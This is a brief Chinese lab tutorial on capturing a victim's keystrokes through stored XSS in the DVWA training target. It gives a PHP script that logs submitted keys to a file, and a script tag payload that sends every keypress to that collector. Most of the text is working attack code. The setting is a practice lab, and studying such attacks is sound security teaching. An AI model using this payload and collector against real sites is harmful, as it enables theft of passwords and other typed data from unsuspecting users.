利用XSS实现受害者的键盘记录

实验环境：

PHPstudy
DVWA靶场

实验步骤：

1、在www目录下创建一个名为keylog.php的文件,代码如下：

<?php
$file = fopen("key.txt","a");
if(isset($_REQUEST['key'])) {
	$key = $_REQUEST['key'];
	fputs($file,$key);
}
?>

2、进入DVWA靶机，级别调成low，选择（XSS）stored

3、F12打开查看器，将输入限制值改的大一点

4、将

<script>document.onkeydown=function(ev){xhr=new XMLHttpRequest();xhr.open('POST','http://localhost/keylog.php',true);xhr.setRequestHeader('Content-type','application/X-WWW-form-urlencoded');xhr.send('key='+String.fromCharCode(ev.keyCode));}</script>

插入执行

5、然后输入内容，key.txt中就会出现记录